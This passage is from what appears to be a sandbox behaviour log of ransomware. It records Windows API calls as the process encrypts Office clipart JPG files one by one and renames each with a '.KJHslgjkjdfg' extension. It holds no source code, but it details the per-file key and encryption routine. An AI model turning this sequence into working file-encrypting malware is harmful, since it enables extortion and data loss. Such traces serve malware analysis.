CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.190] GetProcessHeap () returned 0x2a0000 [0184.190] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.193] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.193] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.193] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.193] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.193] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.193] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.193] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11780, lpOverlapped=0x0) returned 1 [0184.195] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11780, dwBufLen=0x11780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11780) returned 1 [0184.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.196] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11780, lpOverlapped=0x0) returned 1 [0184.196] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.197] SetEndOfFile (hFile=0x114) returned 1 [0184.200] GetProcessHeap () returned 0x2a0000 [0184.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.200] GetProcessHeap () returned 0x2a0000 [0184.200] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.kjhslgjkjdfg")) returned 1 [0184.202] CloseHandle (hObject=0x114) returned 1 [0184.202] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0184.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.203] GetProcessHeap () returned 0x2a0000 [0184.203] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.203] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.206] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.206] GetProcessHeap () returned 0x2a0000 [0184.206] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.206] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.206] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.206] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.206] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.207] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.207] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x787a, lpOverlapped=0x0) returned 1 [0184.208] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7880, dwBufLen=0x7880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7880) returned 1 [0184.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.209] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7880, lpOverlapped=0x0) returned 1 [0184.209] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.209] SetEndOfFile (hFile=0x114) returned 1 [0184.212] GetProcessHeap () returned 0x2a0000 [0184.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.212] GetProcessHeap () returned 0x2a0000 [0184.212] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.212] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.kjhslgjkjdfg")) returned 1 [0184.213] CloseHandle (hObject=0x114) returned 1 [0184.213] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0184.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.215] GetProcessHeap () returned 0x2a0000 [0184.215] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.215] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.215] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.215] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0184.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.218] GetProcessHeap () returned 0x2a0000 [0184.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.218] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.218] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.218] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.218] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.219] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa91e, lpOverlapped=0x0) returned 1 [0184.220] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa920, dwBufLen=0xa920 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa920) returned 1 [0184.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.221] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa920, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa920, lpOverlapped=0x0) returned 1 [0184.221] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.221] SetEndOfFile (hFile=0x114) returned 1 [0184.228] GetProcessHeap () returned 0x2a0000 [0184.228] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.228] GetProcessHeap () returned 0x2a0000 [0184.228] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.kjhslgjkjdfg")) returned 1 [0184.242] CloseHandle (hObject=0x114) returned 1 [0184.242] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0184.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.244] GetProcessHeap () returned 0x2a0000 [0184.245] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.245] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.245] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.245] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0184.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.247] GetProcessHeap () returned 0x2a0000 [0184.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.248] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.248] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.248] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.248] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.248] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.248] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.248] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.248] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.248] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.248] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.248] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3b43, lpOverlapped=0x0) returned 1 [0184.249] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b50, dwBufLen=0x3b50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3b50) returned 1 [0184.249] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.250] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3b50, lpOverlapped=0x0) returned 1 [0184.250] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.250] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.250] SetEndOfFile (hFile=0x114) returned 1 [0184.253] GetProcessHeap () returned 0x2a0000 [0184.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.253] GetProcessHeap () returned 0x2a0000 [0184.253] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.kjhslgjkjdfg")) returned 1 [0184.254] CloseHandle (hObject=0x114) returned 1 [0184.255] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0184.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.256] GetProcessHeap () returned 0x2a0000 [0184.256] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.256] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.256] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.256] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0184.258] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.258] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.258] GetProcessHeap () returned 0x2a0000 [0184.258] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.258] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.258] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.259] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.259] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.259] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.259] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, 